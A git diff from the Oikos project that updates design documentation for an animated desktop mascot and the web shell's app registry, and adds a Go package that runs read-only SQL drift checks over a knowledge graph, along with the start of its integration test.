| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Planned |
|
||||
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Planned |
|
||||
| MASC-1 | The mascot SHALL render as pixel-art from bundled 16x16 PNG sprite sheets (chicken + egg packs), not code-drawn string grids | User request (relaxed from "code-drawn" during implementation — see plan deviation note) | Implemented |
|
||||
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar, OR the top edge of any non-minimized window beneath it) under gravity | User request + design decision | Implemented |
|
||||
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Implemented |
|
||||
| MASC-4 | Right-clicking the mascot SHALL open an interaction menu supporting nested submenus; rendered as a rounded-button column (relaxed from "round/Sims-style" — see plan deviation note) | User request | Implemented |
|
||||
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name; the egg → chick transition fires on first naming, not on a timed incubation | User request | Implemented |
|
||||
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Implemented |
|
||||
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Implemented |
|
||||
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Implemented |
|
||||
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Implemented |
|
||||
| MASC-10 (NFR) | The mascot's game loop SHALL run via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings); runs at ~60fps (relaxed from 30fps for smoother drag/fall — see plan deviation note) | Codebase convention | Implemented |
|
||||
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Implemented |
|
||||
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Implemented |
|
||||
|
||||
## 3. Structural View
|
||||
|
||||
@@ -206,7 +212,7 @@ explicit before any of it is coded.
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> egg
|
||||
egg --> chick : hatchProgress reaches 1\n(advanceStageIfReady)
|
||||
egg --> chick : first naming submitted\n(forceHatch: hatchProgress=1)
|
||||
|
||||
state chick_and_adult_behaviors {
|
||||
[*] --> idle
|
||||
@@ -214,14 +220,17 @@ stateDiagram-v2
|
||||
wander --> idle
|
||||
idle --> peck : weighted random pick
|
||||
peck --> idle
|
||||
idle --> hop : weighted random pick
|
||||
hop --> idle : touchdown\n(off-edge mid-hop hands to falling)
|
||||
idle --> sleep : weighted random pick
|
||||
sleep --> idle
|
||||
wander --> falling : y below ground\n(off a dragged edge, etc.)
|
||||
idle --> dragged : pointerdown + move\npast 5px threshold
|
||||
wander --> dragged : pointerdown + move
|
||||
sleep --> dragged : pointerdown + move\n(interrupts sleep)
|
||||
dragged --> falling : pointerup, released mid-air
|
||||
falling --> land : y reaches ground
|
||||
dragged --> falling : pointerup, released mid-air\n(toss velocity from pointer history)
|
||||
falling --> falling : hard impact\n(one diminished bounce)
|
||||
falling --> land : y reaches ground\n(sideways momentum -> skid)
|
||||
land --> idle
|
||||
[*] --> react : stimulus dispatched\n(priority/cooldown gated)
|
||||
react --> idle : durationMs elapsed,\nreturns to prior-or-idle
|
||||
@@ -238,19 +247,35 @@ returns null past `behaviorUntil` — see
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||
for the concrete weights.
|
||||
|
||||
**Physics feel (implemented 2026-07-20, second pass):** the fall is a
|
||||
losing attempt at flight, not a drop — wing-beat impulses on a
|
||||
speed-scaled, jittered flap cycle (panic flapping) shave the descent;
|
||||
falls faster than terminal velocity (hard downward tosses) decay back
|
||||
under drag instead of clamping; hard impacts bounce once, squash via a
|
||||
damped-spring render layer scaled by impact speed, and poof a burst of
|
||||
feather pixels; sideways momentum becomes a friction skid on touchdown
|
||||
and ricochets off the surface's side bounds mid-fall; the sprite
|
||||
stretches along its motion in the air and tilts into horizontal velocity
|
||||
(fall, drag, and skid); walking bobs at step frequency. All of it is
|
||||
tuning in `behavior.ts` plus the pure render layer in `Mascot.svelte`'s
|
||||
`updateJuice()` — no new assets, no new states beyond `hop`.
|
||||
|
||||
### 4.2 Tamagotchi lifecycle (long-lived state)
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> egg : first load,\ndefaultModel()
|
||||
egg --> chick : active time >= HATCH_MS (3min)\n+ NameDialog shown
|
||||
egg --> chick : first naming submitted\n(forceHatch sets hatchProgress=1)\n+ NameDialog shown
|
||||
chick --> adult : xp >= ADULT_XP (200)
|
||||
adult --> [*]
|
||||
```
|
||||
|
||||
This is a separate state machine from §4.1: §4.1 governs frame-to-frame
|
||||
motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
||||
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame).
|
||||
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame). The
|
||||
egg → chick transition fires on first naming, not on a timed incubation
|
||||
— see the deviation note in
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
|
||||
|
||||
### 4.3 Example sequence — an environment stimulus becomes a visible reaction
|
||||
|
||||
@@ -258,18 +283,27 @@ motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
||||
sequenceDiagram
|
||||
participant SSE as stores/events.ts (SSE)
|
||||
participant Stim as stimuli.ts attachStimuli
|
||||
participant Layer as MascotLayer.svelte (emit callback)
|
||||
participant FSM as behavior.ts
|
||||
participant Mascot as Mascot.svelte (canvas)
|
||||
|
||||
SSE->>Stim: liveEvents updates,\nnew head event severity=critical
|
||||
Stim->>Stim: check REACTIONS['alarmed']\ncooldown + priority
|
||||
Stim->>FSM: forceBehavior(rt, 'react', {anim: 'react-alarm', durationMs})
|
||||
Stim->>Layer: emit(reaction)
|
||||
Layer->>Layer: if model.stage === 'egg': drop\n(egg isn't "alive" yet)
|
||||
Layer->>FSM: forceBehavior(rt, 'react', {anim, durationMs})
|
||||
FSM->>FSM: interrupts current behavior\n(even sleep, interruptsSleep=true)
|
||||
FSM->>Mascot: rt.behavior = 'react', rt.anim = 'react-alarm'
|
||||
Mascot->>Mascot: next 30fps tick draws\nreact-alarm frame
|
||||
Mascot->>Mascot: next ~60fps tick draws\nreact-alarm frame + bubble
|
||||
Note over FSM: after durationMs,\nnext() returns to idle
|
||||
```
|
||||
|
||||
**Egg-stage suppression:** MascotLayer's `emit` callback drops any
|
||||
reaction when `model.stage === 'egg'`. The egg isn't "alive" yet (no
|
||||
name, no hatched chick to react), so stimulus events are silently
|
||||
ignored until the egg hatches — this keeps the egg calm during the
|
||||
naming dialog rather than playing alarm animations behind it.
|
||||
|
||||
## 5. Interfaces View
|
||||
|
||||
**Stakeholders:** an engineer wiring a new store into the mascot's
|
||||
@@ -281,7 +315,7 @@ awareness, or auditing what it depends on.
|
||||
| [`stores/chat.ts`](../../web/src/lib/stores/chat.ts) `streaming` | consumed | `Writable<boolean>` | false→true edge triggers the `thinking` reaction, held while true |
|
||||
| [`stores/activity.ts`](../../web/src/lib/stores/activity.ts) `activityLog` | consumed | derived `Readable<ActivityEntry[]>`, **recomputed wholesale** on every emission — not append-only | new entries with `type === 'knowledge'` detected by diffing entry `id`s between emissions, not by treating it as a stream |
|
||||
| [`stores/context.ts`](../../web/src/lib/stores/context.ts) `summary` | consumed | `Writable<DashboardSummary\|null>` | ambient state (open signal counts via `openSignalCount(summary)`) |
|
||||
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
|
||||
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` (hatchProgress is binary 0/1: 0 until first naming, 1 after) | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
|
||||
| [`Desktop.svelte`](../../web/src/lib/components/desktop-shell/Desktop.svelte) mount | owned | `<MascotLayer />`, 2-line insertion | see §3 |
|
||||
|
||||
No interface in this table is a write path to the Oikos API — consistent
|
||||
@@ -310,13 +344,15 @@ Manual browser checklist (no automated test harness planned for v1 — see
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||
for the same list in implementation-order context):
|
||||
|
||||
- Egg renders grounded at the surface bottom, wiggles occasionally, survives
|
||||
a reload at the same x (confirm `oikos-mascot` is debounced — no writes
|
||||
fire from mere walking, only from discrete transitions).
|
||||
- Egg renders grounded at the surface bottom, wiggles gently while the
|
||||
name dialog is open, and survives a reload at the same x (confirm
|
||||
`oikos-mascot` is debounced — no writes fire from mere walking, only
|
||||
from discrete transitions).
|
||||
- Dragging the egg up and releasing triggers a flutter-fall with no
|
||||
tunneling below the taskbar; dragging past the surface edges clamps.
|
||||
- Forcing hatch (debug menu action) transitions to chick, opens the name
|
||||
dialog, and the name persists across reload.
|
||||
- A fresh egg (no name) opens the name dialog on mount; submitting it
|
||||
hatches to chick; the name persists across reload. The debug "Force
|
||||
hatch" action does the same without prompting.
|
||||
- Chick wanders and flips sprite at surface edges, pecks, sleeps
|
||||
autonomously; a plain click (no drag) triggers a pet/hop reaction.
|
||||
- Right-clicking the chicken opens the radial menu centered on it, without
|
||||
|
||||
@@ -31,6 +31,7 @@ the relevant section here.
|
||||
| [6. PostgreSQL/TimescaleDB](#6-postgresqltimescaledb) | `migrations/`, `seeds/` | ✅ live — the System's own source of truth |
|
||||
| [7. Dormant components](#7-dormant-components) | `internal/actuator`, `internal/learning` | 🔴 compiled, never started |
|
||||
| [8. Auxiliary components](#8-auxiliary-components) | `cmd/webhook`, `cmd/desktop` | ✅ live — deploy + packaging, not decision logic |
|
||||
| [9. web control room — App architecture](#9-web-control-room--app-architecture) | `web/src/lib/apps.ts`, `web/src/lib/stores/windows.ts`, `web/src/lib/stores/docked.ts`, `web/src/lib/components/desktop-shell/` | ✅ live — the OS + Apps shell contract |
|
||||
|
||||
---
|
||||
|
||||
@@ -364,7 +365,11 @@ cross-origin (the Wails desktop webview, §8).
|
||||
Standalone deploy, versioned and released independently of the `oikos`
|
||||
binary — see [README.md §4.5](README.md#45-build--release-artifacts) for
|
||||
why "deployed" means two different release cadences depending on whether
|
||||
you mean the container or the desktop app.
|
||||
you mean the container or the desktop app. The shell-level architecture
|
||||
(window manager, app registry, docked layer) is documented separately as
|
||||
[§9 below](#9-web-control-room--app-architecture); this section covers
|
||||
the page-level concerns, §9 covers the OS + Apps contract the pages hang
|
||||
off.
|
||||
|
||||
---
|
||||
|
||||
@@ -496,6 +501,177 @@ functional sense.
|
||||
|
||||
---
|
||||
|
||||
## 9. web control room — App architecture
|
||||
|
||||
**Stakeholders:** anyone adding a page, adding a desktop overlay, or
|
||||
planning dynamic/third-party app installation. **Why this View earns its
|
||||
place:** §5 documents the *pages*; this View documents the *shell* they
|
||||
hang off — and the shell is the part whose contract a new app has to
|
||||
satisfy. It is also the layer where the "Oikos-as-OS" metaphor
|
||||
(desktop, icons, floating windows, a tamagotchi-style resident
|
||||
creature) is actually implemented, so the boundary between "Base OS" and
|
||||
"App" has to be explicit here or it doesn't exist anywhere.
|
||||
|
||||
### App architecture — Internal structure
|
||||
|
||||
| File | Role |
|
||||
|---|---|
|
||||
| `web/src/lib/apps.ts` | The App registry. Two layers: `builtinApps` (static, always installed) + `installedAppIds` (persisted, from the App Store). The public `apps` store is derived (built-in + installed); `appById` is a derived Map. `installApp`/`uninstallApp` mutate the installed set. Window-id helpers (`appWindowId`, `appIdFromWindowId`) unchanged. |
|
||||
| `web/src/app-store/catalog.ts` | The installable-app catalog: `AppManifest` (persistable metadata) + `CatalogEntry` (manifest + Lucide icon + dynamic-import loader). Static in Phase 3 (apps ship with the build); Phase 4 swaps this for a fetched `/api/v1/apps` endpoint. Declares `AppPermission` (enforcement is Phase 4). |
|
||||
| `web/src/app-store/apps/Notes.svelte` | Demo installable app — a localStorage-backed scratchpad proving the install→icon→window→uninstall lifecycle end-to-end. |
|
||||
| `web/src/lib/stores/windows.ts` | The wmkit window manager singleton + the `openAppWindow` / `openEntityWindow` / `openTaskWindow` primitives. `openAppWindow` branches on `docked` (toggles visibility) vs windowed (`wm.open`); resolves the app via `get(appById)`. |
|
||||
| `web/src/lib/stores/docked.ts` | Persisted visibility for docked apps. Absent key = visible (default-on); store holds only overrides. Deliberately does **not** import `APPS` — doing so would create a static cycle (`apps.ts` → pages → `windows.ts` → here → `apps.ts`) and fire a TDZ on `APPS` at init. |
|
||||
| `web/src/lib/stores/icons.ts` | Desktop icon grid: column/row positions, drag-to-reorder, localStorage persistence. Reactive to the `apps` store — a newly-installed app gets a free cell on the next emission; `resetIconLayout` re-seeds from the live registry, not a static snapshot. |
|
||||
| `web/src/lib/components/LazyApp.svelte` | Renders an app's lazily-loaded component (`AppDef.component` is a dynamic-import loader, not the component). Shows the shared spinner while the chunk fetches; used by both WindowLayer and DockedLayer so the loading state is uniform across app kinds. Vite's module cache makes repeat opens resolve from cache. |
|
||||
| `web/src/lib/components/desktop-shell/Desktop.svelte` | Full-viewport surface: background, icons, task launcher, `<WindowLayer />`, `<DockedLayer />`, taskbar. Reads `$apps` (the derived store) so installs reflect immediately. |
|
||||
| `web/src/lib/components/desktop-shell/WindowLayer.svelte` | Floating-window stack (z-40). Resolves window id → content component; renders shared titlebar chrome. The orphan-close `$effect` is reactive on `$appById` — reinstalling an app revives its persisted window, uninstalling closes it. |
|
||||
| `web/src/lib/components/desktop-shell/DockedLayer.svelte` | Docked-app overlay (z-45). Renders `$apps.filter(a => a.docked)` gated on `dockedVisibility`. Replaces the previously-hardcoded `<MascotLayer />`. |
|
||||
| `web/src/lib/components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`; resolves icons via `$appById`. |
|
||||
| `web/src/pages/AppStore.svelte` | The App Store — lists the catalog, shows install state, install/uninstall. Installing makes the app appear on the desktop immediately (no reload) via the reactive `apps` store; uninstalling closes any open window for that app via WindowLayer's orphan-close effect. |
|
||||
|
||||
### App architecture — The App contract
|
||||
|
||||
```typescript
|
||||
interface AppDef {
|
||||
id: string // unique; window IDs are "app:<id>"
|
||||
title: string // desktop icon label + window titlebar
|
||||
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||
component: () => Promise<{ default: Component }> // dynamic-import loader
|
||||
docked?: boolean // true = Docked Layer app, no window
|
||||
noIcon?: boolean // true = registered but no desktop icon
|
||||
width?: number; height?: number; minWidth?: number; minHeight?: number
|
||||
// required for windowed, forbidden for docked
|
||||
badge?: (s: DashboardSummary | null) => number
|
||||
}
|
||||
```
|
||||
|
||||
`component` is a dynamic-import loader (`() => import('../pages/X.svelte')`),
|
||||
not the component itself. Desktop icons render from metadata alone (id,
|
||||
title, icon — all static), the component chunk fetches on first window
|
||||
open, and Vite code-splits each app into its own chunk (Phase 2). The
|
||||
mascot uses the same path — `() => import('./mascot/MascotLayer.svelte')`
|
||||
— which also defers the mascot's module graph until after `apps.ts` has
|
||||
finished initializing, breaking what would otherwise be a static cycle
|
||||
(`apps.ts` → `MascotLayer` → `Mascot.svelte` → `icons.ts` → `apps.ts`).
|
||||
|
||||
Two app kinds, picked by one flag:
|
||||
|
||||
| Kind | Window | Titlebar | Taskbar | Opened by |
|
||||
|---|---|---|---|---|
|
||||
| **Windowed** (default) | wmkit floating window | yes | yes | `openAppWindow` → `wm.open` |
|
||||
| **Docked** (`docked: true`) | none — renders on the Docked Layer | no | no | `openAppWindow` → `toggleDocked` |
|
||||
|
||||
Apps receive **no props** from the shell. They import the OS-service
|
||||
surface (below) directly. The shell→app edge is one-way.
|
||||
|
||||
### App architecture — The OS-service surface (AppOS)
|
||||
|
||||
The stable set of `$lib` exports an App may import. Everything else in
|
||||
`$lib` is shell-internal and may change without notice. This is a
|
||||
**documentation contract** today (apps are compiled in); it becomes an
|
||||
**enforced sandbox boundary** the moment third-party app installation
|
||||
(Phase 3 in [the plan](../../plans/2026-07-21-frontend-os-apps-architecture.md)) lands.
|
||||
|
||||
| Service | Import |
|
||||
|---|---|
|
||||
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` |
|
||||
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` |
|
||||
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` |
|
||||
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` |
|
||||
| Live events | `subscribeEvents` from `$lib/stores/events` |
|
||||
| Per-session chat / workspace / activity | `chatFor`, `workspaceFor`, `activityLogFor` from `$lib/stores/{chat,workspace,activity}` |
|
||||
| REST API | `$lib/api` (generated from OpenAPI, [ADR-0004](../adr/0004-openapi-first.md)) |
|
||||
| UI primitives | `$lib/components/ui/*` |
|
||||
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` |
|
||||
|
||||
### App architecture — Content resolution
|
||||
|
||||
Window ids are namespaced so the window layer resolves content purely
|
||||
from the id, with no extra bookkeeping — which is also why persisted
|
||||
windows hydrate correctly across reloads:
|
||||
|
||||
| Id shape | Renders |
|
||||
|---|---|
|
||||
| `app:<id>` | the registry app's component (`appById.get(id).component`) |
|
||||
| `session:<id>` | `SessionChatWindow` (per-session chat) |
|
||||
| `new-task` | `NewTaskChat` (singleton compose) |
|
||||
| bare slug (`type:identifier`) | `EntityDetailContent` (fallback) |
|
||||
|
||||
A hydrated `app:<id>` window whose id no longer matches a registry entry
|
||||
(an app removed since the layout was persisted) self-closes — the
|
||||
orphan-close `$effect` in `WindowLayer.svelte` sweeps it on mount.
|
||||
|
||||
### App architecture — Current population
|
||||
|
||||
Seven windowed apps + one docked app:
|
||||
|
||||
| App | Kind | Badge |
|
||||
|---|---|---|
|
||||
| `tasks` | windowed | — |
|
||||
| `kb` | windowed | — |
|
||||
| `ops` | windowed | `approvals_pending` |
|
||||
| `signals` | windowed | open signal count |
|
||||
| `knowledge` | windowed | — |
|
||||
| `learning` | windowed | — |
|
||||
| `settings` | windowed | — |
|
||||
| `mascot` (Cluck) | **docked** | — |
|
||||
|
||||
The mascot is the first docked app and the reason the docked kind
|
||||
exists; before this View it was a hardcoded `<MascotLayer />` in
|
||||
`Desktop.svelte`, not a registry entry. Its persistent model
|
||||
(`web/src/lib/mascot/state.svelte.ts`, localStorage) and sprite cache
|
||||
(`sprites.ts`) are module-scoped, so toggling visibility (unmount) and
|
||||
restoring (remount) loses no state — this is why `docked` visibility is
|
||||
a plain `{#if}` gate rather than a `keepAlive` mechanism.
|
||||
|
||||
### App architecture — Designed extension points (documented, not built)
|
||||
|
||||
| Extension | Mechanism when built | Trigger |
|
||||
|---|---|---|
|
||||
| Titlebar actions | `titlebarActions?: Component` on `AppDef`, rendered left of min/max/close | First app that needs one |
|
||||
| App-scoped state | `state?: () => Record<string, unknown>` on `AppDef` | First app with cross-mount state that isn't module-scoped |
|
||||
| `onRegister` handshake | called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||
| Third-party manifests | `AppManifest` JSON + `/api/v1/apps` + permission model | Phase 3 |
|
||||
|
||||
Documenting these now prevents the current contract from painting itself
|
||||
into a corner; building them now would be speculative. (Lazy-loaded
|
||||
components were on this list and shipped in Phase 2 — `component` is now
|
||||
`() => Promise<{ default: Component }>` and Vite code-splits each app.)
|
||||
|
||||
### App architecture — Status and known issues
|
||||
|
||||
Phase 1 (the docked kind, mascot-as-app, the docked visibility store) and
|
||||
Phase 2 (lazy component loading — `component` as dynamic-import loader,
|
||||
`LazyApp.svelte` for uniform loading state, per-app code-splitting) have
|
||||
landed. Open items, by phase:
|
||||
|
||||
- **Phase 3 (dynamic install):** the AppOS table above becomes a real
|
||||
injected capability object, not a documentation table; permissions
|
||||
enforced at the store-access boundary; `AppManifest` format +
|
||||
`/api/v1/apps` endpoint + install flow.
|
||||
- **Late-registering apps (Phase 3 prerequisite):** `icons.ts:48` builds
|
||||
`appIds` once at module load to validate persisted positions — fine
|
||||
today (all apps are in the static `APPS` array; only their components
|
||||
are lazy), fragile the moment apps register post-load. When dynamic
|
||||
registration lands, revalidate against the live registry, not the
|
||||
import-time snapshot. Likewise `WindowLayer`'s orphan-close `$effect`
|
||||
must be gated on registry-ready so a not-yet-loaded app's persisted
|
||||
window isn't killed on hydration.
|
||||
|
||||
The static-cycle trap that bit this View during Phase 1 implementation is
|
||||
now resolved by Phase 2's lazy loading — recording it for context:
|
||||
|
||||
- `apps.ts` no longer statically imports any page or the mascot (they're
|
||||
all `() => import(...)`), so there's no static edge from `apps.ts` into
|
||||
the mascot/page module graph to cycle through `icons.ts` back to `APPS`.
|
||||
The earlier `LazyMascot.svelte` wrapper (Phase 1's cycle break) was
|
||||
deleted in Phase 2 — the lazy loader in the registry replaces it.
|
||||
`docked.ts` still must not import `APPS` (it's reached from `apps.ts`'s
|
||||
graph via `windows.ts`), and doesn't — defaults are implicit
|
||||
(absent key = visible).
|
||||
|
||||
---
|
||||
|
||||
## Keeping this document current
|
||||
|
||||
The same discipline as README.md's closing note applies here, scoped to
|
||||
|
||||
133
internal/audit/audit.go
Normal file
133
internal/audit/audit.go
Normal file
@@ -0,0 +1,133 @@
|
||||
// Package audit produces read-only drift reports over the knowledge graph and
|
||||
// monitoring state. It is the shared engine behind the
|
||||
// /api/v1/audit/drift endpoint and the audit_knowledge_graph MCP tool.
|
||||
//
|
||||
// It surfaces the structural gaps an operator otherwise discovers only by
|
||||
// accident: orphan check entities, checks targeting retired entities, probes
|
||||
// stuck down/unknown, unmonitored declared types, and live edges pointing at
|
||||
// destroyed/deprecated targets. Live-infra discovery (pct/docker/certs) is a
|
||||
// follow-up that needs host-hop execution; these categories are pure DB
|
||||
// queries, so the report is cheap, safe to run unattended, and testable.
|
||||
package audit
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
)
|
||||
|
||||
// Finding is one drift item the operator should look at.
|
||||
type Finding struct {
|
||||
Category string `json:"category"`
|
||||
Severity string `json:"severity"` // info | warning | critical
|
||||
Count int `json:"count"`
|
||||
Entities []string `json:"entities"`
|
||||
Evidence string `json:"evidence"`
|
||||
SuggestedRunbook string `json:"suggested_runbook"`
|
||||
}
|
||||
|
||||
// Summary tallies findings by category.
|
||||
type Summary struct {
|
||||
TotalFindings int `json:"total_findings"`
|
||||
ByCategory map[string]int `json:"by_category"`
|
||||
}
|
||||
|
||||
// Report runs every drift check and returns the findings plus a summary.
|
||||
func Report(ctx context.Context, pool *db.Pool) ([]Finding, Summary) {
|
||||
specs := []struct {
|
||||
finding Finding
|
||||
query string
|
||||
}{
|
||||
{
|
||||
Finding{Category: "orphan_checks", Severity: "warning",
|
||||
Evidence: "check entities with truncated/random slugs (legacy shortSlug bug), no live target",
|
||||
SuggestedRunbook: "scripts/cleanup-orphan-checks.sh"},
|
||||
`SELECT e.slug FROM entities e
|
||||
WHERE e.type = 'check'
|
||||
AND e.slug ~ '^check:(ping|ssh-script|disk):[0-9a-f]{8}$'`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "dead_checks", Severity: "warning",
|
||||
Evidence: "enabled check_defs whose target entity is deprecated/destroyed",
|
||||
SuggestedRunbook: "lifecycle-deprecate-node / lifecycle-destroy-node"},
|
||||
`SELECT e.slug FROM check_defs cd
|
||||
JOIN entities e ON e.id = cd.entity_id
|
||||
JOIN entities tgt ON tgt.id = cd.target_id
|
||||
WHERE cd.enabled AND tgt.state IN ('deprecated','destroyed')`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "down_checks", Severity: "critical",
|
||||
Evidence: "enabled checks reporting health=down",
|
||||
SuggestedRunbook: "service-health-check"},
|
||||
`SELECT e.slug FROM check_defs cd JOIN entities e ON e.id = cd.entity_id
|
||||
WHERE cd.enabled AND cd.last_health = 'down'`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "unknown_checks", Severity: "warning",
|
||||
Evidence: "enabled checks that ran but reported health=unknown (likely misconfigured probe)",
|
||||
SuggestedRunbook: "knowledge-graph-audit"},
|
||||
`SELECT e.slug FROM check_defs cd JOIN entities e ON e.id = cd.entity_id
|
||||
WHERE cd.enabled AND cd.last_health = 'unknown'`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "unmonitored", Severity: "warning",
|
||||
Evidence: "active entities whose type declares monitoring but have no enabled check_def",
|
||||
SuggestedRunbook: "knowledge-graph-audit"},
|
||||
`SELECT DISTINCT e.slug FROM signals sg
|
||||
JOIN entities e ON e.id = sg.target_entity_id
|
||||
WHERE sg.kind = 'unmonitored' AND sg.state IN ('raised','acknowledged','acting')`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "dangling_edges", Severity: "warning",
|
||||
Evidence: "live relationships (hosts/provides/mounts) pointing at destroyed/deprecated targets",
|
||||
SuggestedRunbook: "lifecycle-destroy-node"},
|
||||
`SELECT src.slug || ' -' || r.type || '-> ' || tgt.slug FROM relationships r
|
||||
JOIN entities src ON src.id = r.source_id
|
||||
JOIN entities tgt ON tgt.id = r.target_id
|
||||
WHERE r.valid_to IS NULL
|
||||
AND src.state NOT IN ('destroyed','deprecated')
|
||||
AND tgt.state IN ('destroyed','deprecated')`,
|
||||
},
|
||||
{
|
||||
Finding{Category: "polluted_attrs", Severity: "warning",
|
||||
Evidence: "routing-critical attributes carrying prose (breaks resolution) — e.g. host='hubris (confirmed via pct…')",
|
||||
SuggestedRunbook: "knowledge-graph-audit"},
|
||||
`SELECT slug || ': host=' || (attributes->>'host') FROM entities
|
||||
WHERE attributes->>'host' IS NOT NULL
|
||||
AND (attributes->>'host') ~ '[ (]'`,
|
||||
},
|
||||
}
|
||||
|
||||
findings := make([]Finding, 0, len(specs))
|
||||
summary := Summary{ByCategory: map[string]int{}}
|
||||
for _, sp := range specs {
|
||||
f := runFinding(ctx, pool, sp.finding, sp.query)
|
||||
findings = append(findings, f)
|
||||
summary.TotalFindings += f.Count
|
||||
summary.ByCategory[f.Category] = f.Count
|
||||
}
|
||||
return findings, summary
|
||||
}
|
||||
|
||||
const entityCap = 50
|
||||
|
||||
// runFinding runs a single-column slug query and folds the rows into a Finding.
|
||||
func runFinding(ctx context.Context, pool *db.Pool, f Finding, query string) Finding {
|
||||
rows, err := pool.Query(ctx, query)
|
||||
if err != nil {
|
||||
f.Evidence = f.Evidence + " (query error: " + err.Error() + ")"
|
||||
return f
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var slug string
|
||||
if err := rows.Scan(&slug); err != nil {
|
||||
continue
|
||||
}
|
||||
f.Count++
|
||||
if len(f.Entities) < entityCap {
|
||||
f.Entities = append(f.Entities, slug)
|
||||
}
|
||||
}
|
||||
return f
|
||||
}
|
||||
69
internal/audit/audit_test.go
Normal file
69
internal/audit/audit_test.go
Normal file
@@ -0,0 +1,69 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// Integration tests against a real Postgres, guarded by
|
||||
// OIKOS_TEST_DATABASE_URL (same convention as internal/scheduler).
|
||||
|
||||
func newAuditPool(t *testing.T) *db.Pool {
|
||||
t.Helper()
|
||||
base := getenvOrDefault("OIKOS_TEST_DATABASE_URL", "")
|
||||
if base == "" {
|
||||
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||
}
|
||||
return createTestDB(t, base)
|
||||
}
|
||||
|
||||
func TestReportFlagsOrphanAndDeadAndDown(t *testing.T) {
|
||||
pool := newAuditPool(t)
|
||||
ctx := context.Background()
|
||||
|
||||
// An orphan check entity (truncated random slug, the legacy bug shape).
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:ssh-script:0d31fdd1','check','check:ssh-script:0d31fdd1','active','{}'::jsonb,1,now(),now())`, uuid.New())
|
||||
|
||||
// An active entity + a check_def on it stuck down.
|
||||
target := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'service:demo','service','demo','active','{}'::jsonb,1,now(),now())`, target)
|
||||
checkE := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:http:service:demo:0','check','c','active','{}'::jsonb,1,now(),now())`, checkE)
|
||||
mustExec(t, pool, ctx, `INSERT INTO check_defs (entity_id, target_id, target_type, kind, config, interval_s, timeout_s, enabled, last_run_at, last_health)
|
||||
VALUES ($1,$2,'service','http','{}'::jsonb,60,30,true,now(),'down')`, checkE, target)
|
||||
|
||||
